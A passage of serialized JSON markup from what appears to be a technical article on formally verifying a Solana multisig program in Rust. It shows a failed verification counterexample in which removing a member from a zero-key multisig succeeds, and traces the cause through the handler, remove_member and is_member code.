",{"type":21,"tag":66,"props":26979,"children":26981},{"className":26980},[],[26982],{"type":26,"value":20582},{"type":26,"value":26984}," represents just the sufficient conditions, there may be other cases where the function succeeds.",{"type":21,"tag":22,"props":26986,"children":26987},{},[26988,26990,26995,26997,27002,27004,27009],{"type":26,"value":26989},"Suppose we want to be sure that this condition is the ",{"type":21,"tag":39,"props":26991,"children":26992},{},[26993],{"type":26,"value":26994},"only condition",{"type":26,"value":26996}," in which the function will succeed (i.e. ",{"type":21,"tag":39,"props":26998,"children":26999},{},[27000],{"type":26,"value":27001},"\"the function will succeed if and only if the multisig has at least two keys\"",{"type":26,"value":27003},"). We could attempt to verify the other side of this with an ",{"type":21,"tag":66,"props":27005,"children":27007},{"className":27006},[],[27008],{"type":26,"value":20589},{"type":26,"value":27010}," macro such as:",{"type":21,"tag":75,"props":27012,"children":27014},{"code":27013,"language":79,"meta":7,"className":77,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\n#[errors_if(\n    ctx.accounts.multisig.keys.len() \u003C= 1\n)]\nfn remove_member(...) { ... }\n",[27015],{"type":21,"tag":66,"props":27016,"children":27017},{"__ignoreMap":7},[27018,27025,27072,27079,27086,27133,27140],{"type":21,"tag":85,"props":27019,"children":27020},{"class":87,"line":88},[27021],{"type":21,"tag":85,"props":27022,"children":27023},{"style":114},[27024],{"type":26,"value":24552},{"type":21,"tag":85,"props":27026,"children":27027},{"class":87,"line":98},[27028,27032,27036,27040,27044,27048,27052,27056,27060,27064,27068],{"type":21,"tag":85,"props":27029,"children":27030},{"style":114},[27031],{"type":26,"value":20651},{"type":21,"tag":85,"props":27033,"children":27034},{"style":169},[27035],{"type":26,"value":73},{"type":21,"tag":85,"props":27037,"children":27038},{"style":114},[27039],{"type":26,"value":15093},{"type":21,"tag":85,"props":27041,"children":27042},{"style":169},[27043],{"type":26,"value":73},{"type":21,"tag":85,"props":27045,"children":27046},{"style":114},[27047],{"type":26,"value":24245},{"type":21,"tag":85,"props":27049,"children":27050},{"style":169},[27051],{"type":26,"value":73},{"type":21,"tag":85,"props":27053,"children":27054},{"style":114},[27055],{"type":26,"value":21411},{"type":21,"tag":85,"props":27057,"children":27058},{"style":169},[27059],{"type":26,"value":73},{"type":21,"tag":85,"props":27061,"children":27062},{"style":114},[27063],{"type":26,"value":21449},{"type":21,"tag":85,"props":27065,"children":27066},{"style":169},[27067],{"type":26,"value":10877},{"type":21,"tag":85,"props":27069,"children":27070},{"style":114},[27071],{"type":26,"value":19869},{"type":21,"tag":85,"props":27073,"children":27074},{"class":87,"line":151},[27075],{"type":21,"tag":85,"props":27076,"children":27077},{"style":114},[27078],{"type":26,"value":20686},{"type":21,"tag":85,"props":27080,"children":27081},{"class":87,"line":160},[27082],{"type":21,"tag":85,"props":27083,"children":27084},{"style":114},[27085],{"type":26,"value":20643},{"type":21,"tag":85,"props":27087,"children":27088},{"class":87,"line":185},[27089,27093,27097,27101,27105,27109,27113,27117,27121,27125,27129],{"type":21,"tag":85,"props":27090,"children":27091},{"style":114},[27092],{"type":26,"value":20651},{"type":21,"tag":85,"props":27094,"children":27095},{"style":169},[27096],{"type":26,"value":73},{"type":21,"tag":85,"props":27098,"children":27099},{"style":114},[27100],{"type":26,"value":15093},{"type":21,"tag":85,"props":27102,"children":27103},{"style":169},[27104],{"type":26,"value":73},{"type":21,"tag":85,"props":27106,"children":27107},{"style":114},[27108],{"type":26,"value":24245},{"type":21,"tag":85,"props":27110,"children":27111},{"style":169},[27112],{"type":26,"value":73},{"type":21,"tag":85,"props":27114,"children":27115},{"style":114},[27116],{"type":26,"value":21411},{"type":21,"tag":85,"props":27118,"children":27119},{"style":169},[27120],{"type":26,"value":73},{"type":21,"tag":85,"props":27122,"children":27123},{"style":114},[27124],{"type":26,"value":21449},{"type":21,"tag":85,"props":27126,"children":27127},{"style":169},[27128],{"type":26,"value":19841},{"type":21,"tag":85,"props":27130,"children":27131},{"style":114},[27132],{"type":26,"value":19869},{"type":21,"tag":85,"props":27134,"children":27135},{"class":87,"line":501},[27136],{"type":21,"tag":85,"props":27137,"children":27138},{"style":114},[27139],{"type":26,"value":20686},{"type":21,"tag":85,"props":27141,"children":27142},{"class":87,"line":697},[27143,27147,27151,27155,27159,27163,27167],{"type":21,"tag":85,"props":27144,"children":27145},{"style":102},[27146],{"type":26,"value":20694},{"type":21,"tag":85,"props":27148,"children":27149},{"style":1021},[27150],{"type":26,"value":26206},{"type":21,"tag":85,"props":27152,"children":27153},{"style":114},[27154],{"type":26,"value":1439},{"type":21,"tag":85,"props":27156,"children":27157},{"style":169},[27158],{"type":26,"value":10004},{"type":21,"tag":85,"props":27160,"children":27161},{"style":114},[27162],{"type":26,"value":24429},{"type":21,"tag":85,"props":27164,"children":27165},{"style":169},[27166],{"type":26,"value":10004},{"type":21,"tag":85,"props":27168,"children":27169},{"style":114},[27170],{"type":26,"value":10009},{"type":21,"tag":22,"props":27172,"children":27173},{},[27174,27176,27181],{"type":26,"value":27175},"Let's test this, we just need to run the new ",{"type":21,"tag":66,"props":27177,"children":27179},{"className":27178},[],[27180],{"type":26,"value":20589},{"type":26,"value":27182}," harness:",{"type":21,"tag":75,"props":27184,"children":27186},{"code":27185},"VERIFICATION:- FAILED\nVerification Time: 31.900913s\n",[27187],{"type":21,"tag":66,"props":27188,"children":27189},{"__ignoreMap":7},[27190],{"type":26,"value":27185},{"type":21,"tag":22,"props":27192,"children":27193},{},[27194],{"type":26,"value":27195},"Hmm, this verification failed! Let's look at the counterexample. The multisig it is trying to remove a member from looks like:",{"type":21,"tag":75,"props":27197,"children":27199},{"code":27198,"language":79,"meta":7,"className":77,"style":7},"Account {\n    account: Ms {\n        threshold: 0,\n        authority_index: 0,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: Vec {\n            data: ...,\n            size: 0,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[27200],{"type":21,"tag":66,"props":27201,"children":27202},{"__ignoreMap":7},[27203,27214,27233,27252,27271,27290,27309,27328,27347,27366,27385,27405,27424,27431,27438,27465],{"type":21,"tag":85,"props":27204,"children":27205},{"class":87,"line":88},[27206,27210],{"type":21,"tag":85,"props":27207,"children":27208},{"style":108},[27209],{"type":26,"value":17568},{"type":21,"tag":85,"props":27211,"children":27212},{"style":114},[27213],{"type":26,"value":148},{"type":21,"tag":85,"props":27215,"children":27216},{"class":87,"line":98},[27217,27221,27225,27229],{"type":21,"tag":85,"props":27218,"children":27219},{"style":120},[27220],{"type":26,"value":25612},{"type":21,"tag":85,"props":27222,"children":27223},{"style":169},[27224],{"type":26,"value":172},{"type":21,"tag":85,"props":27226,"children":27227},{"style":108},[27228],{"type":26,"value":21584},{"type":21,"tag":85,"props":27230,"children":27231},{"style":114},[27232],{"type":26,"value":148},{"type":21,"tag":85,"props":27234,"children":27235},{"class":87,"line":151},[27236,27240,27244,27248],{"type":21,"tag":85,"props":27237,"children":27238},{"style":120},[27239],{"type":26,"value":24266},{"type":21,"tag":85,"props":27241,"children":27242},{"style":169},[27243],{"type":26,"value":172},{"type":21,"tag":85,"props":27245,"children":27246},{"style":2285},[27247],{"type":26,"value":2830},{"type":21,"tag":85,"props":27249,"children":27250},{"style":114},[27251],{"type":26,"value":182},{"type":21,"tag":85,"props":27253,"children":27254},{"class":87,"line":160},[27255,27259,27263,27267],{"type":21,"tag":85,"props":27256,"children":27257},{"style":120},[27258],{"type":26,"value":25652},{"type":21,"tag":85,"props":27260,"children":27261},{"style":169},[27262],{"type":26,"value":172},{"type":21,"tag":85,"props":27264,"children":27265},{"style":2285},[27266],{"type":26,"value":2830},{"type":21,"tag":85,"props":27268,"children":27269},{"style":114},[27270],{"type":26,"value":182},{"type":21,"tag":85,"props":27272,"children":27273},{"class":87,"line":185},[27274,27278,27282,27286],{"type":21,"tag":85,"props":27275,"children":27276},{"style":120},[27277],{"type":26,"value":25672},{"type":21,"tag":85,"props":27279,"children":27280},{"style":169},[27281],{"type":26,"value":172},{"type":21,"tag":85,"props":27283,"children":27284},{"style":2285},[27285],{"type":26,"value":2830},{"type":21,"tag":85,"props":27287,"children":27288},{"style":114},[27289],{"type":26,"value":182},{"type":21,"tag":85,"props":27291,"children":27292},{"class":87,"line":501},[27293,27297,27301,27305],{"type":21,"tag":85,"props":27294,"children":27295},{"style":120},[27296],{"type":26,"value":25692},{"type":21,"tag":85,"props":27298,"children":27299},{"style":169},[27300],{"type":26,"value":172},{"type":21,"tag":85,"props":27302,"children":27303},{"style":2285},[27304],{"type":26,"value":2830},{"type":21,"tag":85,"props":27306,"children":27307},{"style":114},[27308],{"type":26,"value":182},{"type":21,"tag":85,"props":27310,"children":27311},{"class":87,"line":697},[27312,27316,27320,27324],{"type":21,"tag":85,"props":27313,"children":27314},{"style":120},[27315],{"type":26,"value":25712},{"type":21,"tag":85,"props":27317,"children":27318},{"style":169},[27319],{"type":26,"value":172},{"type":21,"tag":85,"props":27321,"children":27322},{"style":2285},[27323],{"type":26,"value":2830},{"type":21,"tag":85,"props":27325,"children":27326},{"style":114},[27327],{"type":26,"value":182},{"type":21,"tag":85,"props":27329,"children":27330},{"class":87,"line":706},[27331,27335,27339,27343],{"type":21,"tag":85,"props":27332,"children":27333},{"style":120},[27334],{"type":26,"value":24279},{"type":21,"tag":85,"props":27336,"children":27337},{"style":169},[27338],{"type":26,"value":172},{"type":21,"tag":85,"props":27340,"children":27341},{"style":169},[27342],{"type":26,"value":25740},{"type":21,"tag":85,"props":27344,"children":27345},{"style":114},[27346],{"type":26,"value":182},{"type":21,"tag":85,"props":27348,"children":27349},{"class":87,"line":1100},[27350,27354,27358,27362],{"type":21,"tag":85,"props":27351,"children":27352},{"style":120},[27353],{"type":26,"value":25752},{"type":21,"tag":85,"props":27355,"children":27356},{"style":169},[27357],{"type":26,"value":172},{"type":21,"tag":85,"props":27359,"children":27360},{"style":102},[27361],{"type":26,"value":3438},{"type":21,"tag":85,"props":27363,"children":27364},{"style":114},[27365],{"type":26,"value":182},{"type":21,"tag":85,"props":27367,"children":27368},{"class":87,"line":1339},[27369,27373,27377,27381],{"type":21,"tag":85,"props":27370,"children":27371},{"style":120},[27372],{"type":26,"value":25772},{"type":21,"tag":85,"props":27374,"children":27375},{"style":169},[27376],{"type":26,"value":172},{"type":21,"tag":85,"props":27378,"children":27379},{"style":108},[27380],{"type":26,"value":21817},{"type":21,"tag":85,"props":27382,"children":27383},{"style":114},[27384],{"type":26,"value":148},{"type":21,"tag":85,"props":27386,"children":27387},{"class":87,"line":1348},[27388,27393,27397,27401],{"type":21,"tag":85,"props":27389,"children":27390},{"style":120},[27391],{"type":26,"value":27392},"            data",{"type":21,"tag":85,"props":27394,"children":27395},{"style":169},[27396],{"type":26,"value":172},{"type":21,"tag":85,"props":27398,"children":27399},{"style":169},[27400],{"type":26,"value":25740},{"type":21,"tag":85,"props":27402,"children":27403},{"style":114},[27404],{"type":26,"value":182},{"type":21,"tag":85,"props":27406,"children":27407},{"class":87,"line":1386},[27408,27412,27416,27420],{"type":21,"tag":85,"props":27409,"children":27410},{"style":120},[27411],{"type":26,"value":25793},{"type":21,"tag":85,"props":27413,"children":27414},{"style":169},[27415],{"type":26,"value":172},{"type":21,"tag":85,"props":27417,"children":27418},{"style":2285},[27419],{"type":26,"value":2830},{"type":21,"tag":85,"props":27421,"children":27422},{"style":114},[27423],{"type":26,"value":182},{"type":21,"tag":85,"props":27425,"children":27426},{"class":87,"line":1394},[27427],{"type":21,"tag":85,"props":27428,"children":27429},{"style":114},[27430],{"type":26,"value":25814},{"type":21,"tag":85,"props":27432,"children":27433},{"class":87,"line":1402},[27434],{"type":21,"tag":85,"props":27435,"children":27436},{"style":114},[27437],{"type":26,"value":25822},{"type":21,"tag":85,"props":27439,"children":27440},{"class":87,"line":3145},[27441,27445,27449,27453,27457,27461],{"type":21,"tag":85,"props":27442,"children":27443},{"style":120},[27444],{"type":26,"value":25830},{"type":21,"tag":85,"props":27446,"children":27447},{"style":169},[27448],{"type":26,"value":172},{"type":21,"tag":85,"props":27450,"children":27451},{"style":108},[27452],{"type":26,"value":25839},{"type":21,"tag":85,"props":27454,"children":27455},{"style":114},[27456],{"type":26,"value":9999},{"type":21,"tag":85,"props":27458,"children":27459},{"style":169},[27460],{"type":26,"value":10004},{"type":21,"tag":85,"props":27462,"children":27463},{"style":114},[27464],{"type":26,"value":25852},{"type":21,"tag":85,"props":27466,"children":27467},{"class":87,"line":3246},[27468],{"type":21,"tag":85,"props":27469,"children":27470},{"style":114},[27471],{"type":26,"value":2671},{"type":21,"tag":22,"props":27473,"children":27474},{},[27475],{"type":26,"value":27476},"Interestingly, the multisig has 0 keys and yet this instruction does not error. Let's take a closer look to figure out why:",{"type":21,"tag":22,"props":27478,"children":27479},{},[27480,27482,27488],{"type":26,"value":27481},"Inside our handler, we see that it only checks if the number of keys exactly equals 1. Otherwise it invokes ",{"type":21,"tag":66,"props":27483,"children":27485},{"className":27484},[],[27486],{"type":26,"value":27487},"Ms::remove_member",{"type":26,"value":172},{"type":21,"tag":75,"props":27490,"children":27492},{"code":27491,"language":79,"meta":7,"className":77,"style":7},"if ctx.accounts.multisig.keys.len() == 1 {\n    return err!(MsError::CannotRemoveSoloMember);\n}\nctx.accounts.multisig.remove_member(old_member)?;\n",[27493],{"type":21,"tag":66,"props":27494,"children":27495},{"__ignoreMap":7},[27496,27555,27586,27593],{"type":21,"tag":85,"props":27497,"children":27498},{"class":87,"line":88},[27499,27503,27507,27511,27515,27519,27523,27527,27531,27535,27539,27543,27547,27551],{"type":21,"tag":85,"props":27500,"children":27501},{"style":2885},[27502],{"type":26,"value":15999},{"type":21,"tag":85,"props":27504,"children":27505},{"style":120},[27506],{"type":26,"value":26284},{"type":21,"tag":85,"props":27508,"children":27509},{"style":169},[27510],{"type":26,"value":73},{"type":21,"tag":85,"props":27512,"children":27513},{"style":114},[27514],{"type":26,"value":15093},{"type":21,"tag":85,"props":27516,"children":27517},{"style":169},[27518],{"type":26,"value":73},{"type":21,"tag":85,"props":27520,"children":27521},{"style":114},[27522],{"type":26,"value":24245},{"type":21,"tag":85,"props":27524,"children":27525},{"style":169},[27526],{"type":26,"value":73},{"type":21,"tag":85,"props":27528,"children":27529},{"style":114},[27530],{"type":26,"value":21411},{"type":21,"tag":85,"props":27532,"children":27533},{"style":169},[27534],{"type":26,"value":73},{"type":21,"tag":85,"props":27536,"children":27537},{"style":1021},[27538],{"type":26,"value":3520},{"type":21,"tag":85,"props":27540,"children":27541},{"style":114},[27542],{"type":26,"value":14461},{"type":21,"tag":85,"props":27544,"children":27545},{"style":169},[27546],{"type":26,"value":2936},{"type":21,"tag":85,"props":27548,"children":27549},{"style":2285},[27550],{"type":26,"value":3279},{"type":21,"tag":85,"props":27552,"children":27553},{"style":114},[27554],{"type":26,"value":148},{"type":21,"tag":85,"props":27556,"children":27557},{"class":87,"line":98},[27558,27562,27566,27570,27574,27578,27582],{"type":21,"tag":85,"props":27559,"children":27560},{"style":2885},[27561],{"type":26,"value":17411},{"type":21,"tag":85,"props":27563,"children":27564},{"style":1021},[27565],{"type":26,"value":23948},{"type":21,"tag":85,"props":27567,"children":27568},{"style":114},[27569],{"type":26,"value":1439},{"type":21,"tag":85,"props":27571,"children":27572},{"style":108},[27573],{"type":26,"value":23957},{"type":21,"tag":85,"props":27575,"children":27576},{"style":169},[27577],{"type":26,"value":1087},{"type":21,"tag":85,"props":27579,"children":27580},{"style":108},[27581],{"type":26,"value":26360},{"type":21,"tag":85,"props":27583,"children":27584},{"style":114},[27585],{"type":26,"value":777},{"type":21,"tag":85,"props":27587,"children":27588},{"class":87,"line":151},[27589],{"type":21,"tag":85,"props":27590,"children":27591},{"style":114},[27592],{"type":26,"value":2671},{"type":21,"tag":85,"props":27594,"children":27595},{"class":87,"line":160},[27596,27600,27604,27608,27612,27616,27620,27624,27628,27632,27636,27640],{"type":21,"tag":85,"props":27597,"children":27598},{"style":120},[27599],{"type":26,"value":20708},{"type":21,"tag":85,"props":27601,"children":27602},{"style":169},[27603],{"type":26,"value":73},{"type":21,"tag":85,"props":27605,"children":27606},{"style":114},[27607],{"type":26,"value":15093},{"type":21,"tag":85,"props":27609,"children":27610},{"style":169},[27611],{"type":26,"value":73},{"type":21,"tag":85,"props":27613,"children":27614},{"style":114},[27615],{"type":26,"value":24245},{"type":21,"tag":85,"props":27617,"children":27618},{"style":169},[27619],{"type":26,"value":73},{"type":21,"tag":85,"props":27621,"children":27622},{"style":1021},[27623],{"type":26,"value":25907},{"type":21,"tag":85,"props":27625,"children":27626},{"style":114},[27627],{"type":26,"value":1439},{"type":21,"tag":85,"props":27629,"children":27630},{"style":120},[27631],{"type":26,"value":26240},{"type":21,"tag":85,"props":27633,"children":27634},{"style":114},[27635],{"type":26,"value":1900},{"type":21,"tag":85,"props":27637,"children":27638},{"style":169},[27639],{"type":26,"value":3927},{"type":21,"tag":85,"props":27641,"children":27642},{"style":114},[27643],{"type":26,"value":2535},{"type":21,"tag":22,"props":27645,"children":27646},{},[27647,27649,27655,27657,27663],{"type":26,"value":27648},"In that function, it checks if the member to remove is contained in that multisig (with ",{"type":21,"tag":66,"props":27650,"children":27652},{"className":27651},[],[27653],{"type":26,"value":27654},"Ms::is_member",{"type":26,"value":27656},") and if it is not, it simply skips the removal and returns ",{"type":21,"tag":66,"props":27658,"children":27660},{"className":27659},[],[27661],{"type":26,"value":27662},"Ok(())",{"type":26,"value":73},{"type":21,"tag":75,"props":27665,"children":27667},{"code":27666,"language":79,"meta":7,"className":77,"style":7},"pub fn remove_member(&mut self, member: Pubkey) -> Result\u003C()> {\n    if let Some(ind) = self.is_member(member) {\n        self.keys.remove(ind);\n        if self.keys.len() \u003C usize::from(self.threshold) {\n            self.threshold = self.keys.len().try_into().unwrap();\n        }\n    }\n    Ok(())\n}\n",[27668],{"type":21,"tag":66,"props":27669,"children":27670},{"__ignoreMap":7},[27671,27735,27794,27831,27890,27958,27965,27972,27983],{"type":21,"tag":85,"props":27672,"children":27673},{"class":87,"line":88},[27674,27678,27682,27686,27690,27694,27698,27702,27706,27711,27715,27719,27723,27727,27731],{"type":21,"tag":85,"props":27675,"children":27676},{"style":102},[27677],{"type":26,"value":14108},{"type":21,"tag":85,"props":27679,"children":27680},{"style":102},[27681],{"type":26,"value":14113},{"type":21,"tag":85,"props":27683,"children":27684},{"style":1021},[27685],{"type":26,"value":26206},{"type":21,"tag":85,"props":27687,"children":27688},{"style":114},[27689],{"type":26,"value":1439},{"type":21,"tag":85,"props":27691,"children":27692},{"style":169},[27693],{"type":26,"value":2238},{"type":21,"tag":85,"props":27695,"children":27696},{"style":102},[27697],{"type":26,"value":2039},{"type":21,"tag":85,"props":27699,"children":27700},{"style":102},[27701],{"type":26,"value":14215},{"type":21,"tag":85,"props":27703,"children":27704},{"style":114},[27705],{"type":26,"value":256},{"type":21,"tag":85,"props":27707,"children":27708},{"style":120},[27709],{"type":26,"value":27710},"member",{"type":21,"tag":85,"props":27712,"children":27713},{"style":169},[27714],{"type":26,"value":172},{"type":21,"tag":85,"props":27716,"children":27717},{"style":108},[27718],{"type":26,"value":21285},{"type":21,"tag":85,"props":27720,"children":27721},{"style":114},[27722],{"type":26,"value":736},{"type":21,"tag":85,"props":27724,"children":27725},{"style":169},[27726],{"type":26,"value":14175},{"type":21,"tag":85,"props":27728,"children":27729},{"style":108},[27730],{"type":26,"value":14180},{"type":21,"tag":85,"props":27732,"children":27733},{"style":114},[27734],{"type":26,"value":20759},{"type":21,"tag":85,"props":27736,"children":27737},{"class":87,"line":98},[27738,27742,27747,27752,27756,27761,27765,27769,27773,27777,27782,27786,27790],{"type":21,"tag":85,"props":27739,"children":27740},{"style":2885},[27741],{"type":26,"value":12696},{"type":21,"tag":85,"props":27743,"children":27744},{"style":102},[27745],{"type":26,"value":27746}," let",{"type":21,"tag":85,"props":27748,"children":27749},{"style":108},[27750],{"type":26,"value":27751}," Some",{"type":21,"tag":85,"props":27753,"children":27754},{"style":114},[27755],{"type":26,"value":1439},{"type":21,"tag":85,"props":27757,"children":27758},{"style":120},[27759],{"type":26,"value":27760},"ind",{"type":21,"tag":85,"props":27762,"children":27763},{"style":114},[27764],{"type":26,"value":736},{"type":21,"tag":85,"props":27766,"children":27767},{"style":169},[27768],{"type":26,"value":741},{"type":21,"tag":85,"props":27770,"children":27771},{"style":102},[27772],{"type":26,"value":14215},{"type":21,"tag":85,"props":27774,"children":27775},{"style":169},[27776],{"type":26,"value":73},{"type":21,"tag":85,"props":27778,"children":27779},{"style":1021},[27780],{"type":26,"value":27781},"is_member",{"type":21,"tag":85,"props":27783,"children":27784},{"style":114},[27785],{"type":26,"value":1439},{"type":21,"tag":85,"props":27787,"children":27788},{"style":120},[27789],{"type":26,"value":27710},{"type":21,"tag":85,"props":27791,"children":27792},{"style":114},[27793],{"type":26,"value":15222},{"type":21,"tag":85,"props":27795,"children":27796},{"class":87,"line":151},[27797,27802,27806,27810,27814,27819,27823,27827],{"type":21,"tag":85,"props":27798,"children":27799},{"style":102},[27800],{"type":26,"value":27801},"        self",{"type":21,"tag":85,"props":27803,"children":27804},{"style":169},[27805],{"type":26,"value":73},{"type":21,"tag":85,"props":27807,"children":27808},{"style":114},[27809],{"type":26,"value":21411},{"type":21,"tag":85,"props":27811,"children":27812},{"style":169},[27813],{"type":26,"value":73},{"type":21,"tag":85,"props":27815,"children":27816},{"style":1021},[27817],{"type":26,"value":27818},"remove",{"type":21,"tag":85,"props":27820,"children":27821},{"style":114},[27822],{"type":26,"value":1439},{"type":21,"tag":85,"props":27824,"children":27825},{"style":120},[27826],{"type":26,"value":27760},{"type":21,"tag":85,"props":27828,"children":27829},{"style":114},[27830],{"type":26,"value":777},{"type":21,"tag":85,"props":27832,"children":27833},{"class":87,"line":160},[27834,27838,27842,27846,27850,27854,27858,27862,27866,27870,27874,27878,27882,27886],{"type":21,"tag":85,"props":27835,"children":27836},{"style":2885},[27837],{"type":26,"value":4044},{"type":21,"tag":85,"props":27839,"children":27840},{"style":102},[27841],{"type":26,"value":14215},{"type":21,"tag":85,"props":27843,"children":27844},{"style":169},[27845],{"type":26,"value":73},{"type":21,"tag":85,"props":27847,"children":27848},{"style":114},[27849],{"type":26,"value":21411},{"type":21,"tag":85,"props":27851,"children":27852},{"style":169},[27853],{"type":26,"value":73},{"type":21,"tag":85,"props":27855,"children":27856},{"style":1021},[27857],{"type":26,"value":3520},{"type":21,"tag":85,"props":27859,"children":27860},{"style":114},[27861],{"type":26,"value":26485},{"type":21,"tag":85,"props":27863,"children":27864},{"style":108},[27865],{"type":26,"value":17022},{"type":21,"tag":85,"props":27867,"children":27868},{"style":169},[27869],{"type":26,"value":1087},{"type":21,"tag":85,"props":27871,"children":27872},{"style":1021},[27873],{"type":26,"value":19900},{"type":21,"tag":85,"props":27875,"children":27876},{"style":114},[27877],{"type":26,"value":1439},{"type":21,"tag":85,"props":27879,"children":27880},{"style":102},[27881],{"type":26,"value":14131},{"type":21,"tag":85,"props":27883,"children":27884},{"style":169},[27885],{"type":26,"value":73},{"type":21,"tag":85,"props":27887,"children":27888},{"style":114},[27889],{"type":26,"value":26530},{"type":21,"tag":85,"props":27891,"children":27892},{"class":87,"line":185},[27893,27898,27902,27906,27910,27914,27918,27922,27926,27930,27934,27938,27942,27946,27950,27954],{"type":21,"tag":85,"props":27894,"children":27895},{"style":102},[27896],{"type":26,"value":27897},"            self",{"type":21,"tag":85,"props":27899,"children":27900},{"style":169},[27901],{"type":26,"value":73},{"type":21,"tag":85,"props":27903,"children":27904},{"style":114},[27905],{"type":26,"value":21499},{"type":21,"tag":85,"props":27907,"children":27908},{"style":169},[27909],{"type":26,"value":741},{"type":21,"tag":85,"props":27911,"children":27912},{"style":102},[27913],{"type":26,"value":14215},{"type":21,"tag":85,"props":27915,"children":27916},{"style":169},[27917],{"type":26,"value":73},{"type":21,"tag":85,"props":27919,"children":27920},{"style":114},[27921],{"type":26,"value":21411},{"type":21,"tag":85,"props":27923,"children":27924},{"style":169},[27925],{"type":26,"value":73},{"type":21,"tag":85,"props":27927,"children":27928},{"style":1021},[27929],{"type":26,"value":3520},{"type":21,"tag":85,"props":27931,"children":27932},{"style":114},[27933],{"type":26,"value":14297},{"type":21,"tag":85,"props":27935,"children":27936},{"style":169},[27937],{"type":26,"value":73},{"type":21,"tag":85,"props":27939,"children":27940},{"style":1021},[27941],{"type":26,"value":26603},{"type":21,"tag":85,"props":27943,"children":27944},{"style":114},[27945],{"type":26,"value":14297},{"type":21,"tag":85,"props":27947,"children":27948},{"style":169},[27949],{"type":26,"value":73},{"type":21,"tag":85,"props":27951,"children":27952},{"style":1021},[27953],{"type":26,"value":4432},{"type":21,"tag":85,"props":27955,"children":27956},{"style":114},[27957],{"type":26,"value":4437},{"type":21,"tag":85,"props":27959,"children":27960},{"class":87,"line":501},[27961],{"type":21,"tag":85,"props":27962,"children":27963},{"style":114},[27964],{"type":26,"value":4118},{"type":21,"tag":85,"props":27966,"children":27967},{"class":87,"line":697},[27968],{"type":21,"tag":85,"props":27969,"children":27970},{"style":114},[27971],{"type":26,"value":507},{"type":21,"tag":85,"props":27973,"children":27974},{"class":87,"line":706},[27975,27979],{"type":21,"tag":85,"props":27976,"children":27977},{"style":108},[27978],{"type":26,"value":14751},{"type":21,"tag":85,"props":27980,"children":27981},{"style":114},[27982],{"type":26,"value":14756},{"type":21,"tag":85,"props":27984,"children":27985},{"class":87,"line":1100},[27986],{"type":21,"tag":85,"props":27987,"children":27988},{"style":114},[27989],{"type":26,"value":2671},{"type":21,"tag":22,"props":27991,"children":27992},{},[27993,27995,28000,28002,28008,28010,28016,28018,28023],{"type":26,"value":27994},"Inside ",{"type":21,"tag":66,"props":27996,"children":27998},{"className":27997},[],[27999],{"type":26,"value":27654},{"type":26,"value":28001},", we see that it performs a ",{"type":21,"tag":66,"props":28003,"children":28005},{"className":28004},[],[28006],{"type":26,"value":28007},"binary_search",{"type":26,"value":28009}," on the keys vec and returns the index or ",{"type":21,"tag":66,"props":28011,"children":28013},{"className":28012},[],[28014],{"type":26,"value":28015},"None",{"type":26,"value":28017},". Since the vec has size zero, this will just return ",{"type":21,"tag":66,"props":28019,"children":28021},{"className":28020},[],[28022],{"type":26,"value":28015},{"type":26,"value":73},{"type":21,"tag":75,"props":28025,"children":28027},{"code":28026,"language":79,"meta":7,"className":77,"style":7},"pub fn is_member(&self, member: Pubkey) -> Option\u003Cusize> {\n    match self.keys.binary_search(&member) {\n        Ok(ind) => Some(ind),\n        _ => None,\n    }\n}\n",[28028],{"type":21,"tag":66,"props":28029,"children":28030},{"__ignoreMap":7},[28031,28100,28143,28182,28204,28211],{"type":21,"tag":85,"props":28032,"children":28033},{"class":87,"line":88},[28034,28038,28042,28047,28051,28055,28059,28063,28067,28071,28075,28079,28083,28088,28092,28096],{"type":21,"tag":85,"props":28035,"children":28036},{"style":102},[28037],{"type":26,"value":14108},{"type":21,"tag":85,"props":28039,"children":28040},{"style":102},[28041],{"type":26,"value":14113},{"type":21,"tag":85,"props":28043,"children":28044},{"style":1021},[28045],{"type":26,"value":28046}," is_member",{"type":21,"tag":85,"props":28048,"children":28049},{"style":114},[28050],{"type":26,"value":1439},{"type":21,"tag":85,"props":28052,"children":28053},{"style":169},[28054],{"type":26,"value":2238},{"type":21,"tag":85,"props":28056,"children":28057},{"style":102},[28058],{"type":26,"value":14131},{"type":21,"tag":85,"props":28060,"children":28061},{"style":114},[28062],{"type":26,"value":256},{"type":21,"tag":85,"props":28064,"children":28065},{"style":120},[28066],{"type":26,"value":27710},{"type":21,"tag":85,"props":28068,"children":28069},{"style":169},[28070],{"type":26,"value":172},{"type":21,"tag":85,"props":28072,"children":28073},{"style":108},[28074],{"type":26,"value":21285},{"type":21,"tag":85,"props":28076,"children":28077},{"style":114},[28078],{"type":26,"value":736},{"type":21,"tag":85,"props":28080,"children":28081},{"style":169},[28082],{"type":26,"value":14175},{"type":21,"tag":85,"props":28084,"children":28085},{"style":108},[28086],{"type":26,"value":28087}," Option",{"type":21,"tag":85,"props":28089,"children":28090},{"style":114},[28091],{"type":26,"value":117},{"type":21,"tag":85,"props":28093,"children":28094},{"style":108},[28095],{"type":26,"value":17022},{"type":21,"tag":85,"props":28097,"children":28098},{"style":114},[28099],{"type":26,"value":1627},{"type":21,"tag":85,"props":28101,"children":28102},{"class":87,"line":98},[28103,28107,28111,28115,28119,28123,28127,28131,28135,28139],{"type":21,"tag":85,"props":28104,"children":28105},{"style":2885},[28106],{"type":26,"value":15171},{"type":21,"tag":85,"props":28108,"children":28109},{"style":102},[28110],{"type":26,"value":14215},{"type":21,"tag":85,"props":28112,"children":28113},{"style":169},[28114],{"type":26,"value":73},{"type":21,"tag":85,"props":28116,"children":28117},{"style":114},[28118],{"type":26,"value":21411},{"type":21,"tag":85,"props":28120,"children":28121},{"style":169},[28122],{"type":26,"value":73},{"type":21,"tag":85,"props":28124,"children":28125},{"style":1021},[28126],{"type":26,"value":28007},{"type":21,"tag":85,"props":28128,"children":28129},{"style":114},[28130],{"type":26,"value":1439},{"type":21,"tag":85,"props":28132,"children":28133},{"style":169},[28134],{"type":26,"value":2238},{"type":21,"tag":85,"props":28136,"children":28137},{"style":120},[28138],{"type":26,"value":27710},{"type":21,"tag":85,"props":28140,"children":28141},{"style":114},[28142],{"type":26,"value":15222},{"type":21,"tag":85,"props":28144,"children":28145},{"class":87,"line":151},[28146,28150,28154,28158,28162,28166,28170,28174,28178],{"type":21,"tag":85,"props":28147,"children":28148},{"style":108},[28149],{"type":26,"value":15230},{"type":21,"tag":85,"props":28151,"children":28152},{"style":114},[28153],{"type":26,"value":1439},{"type":21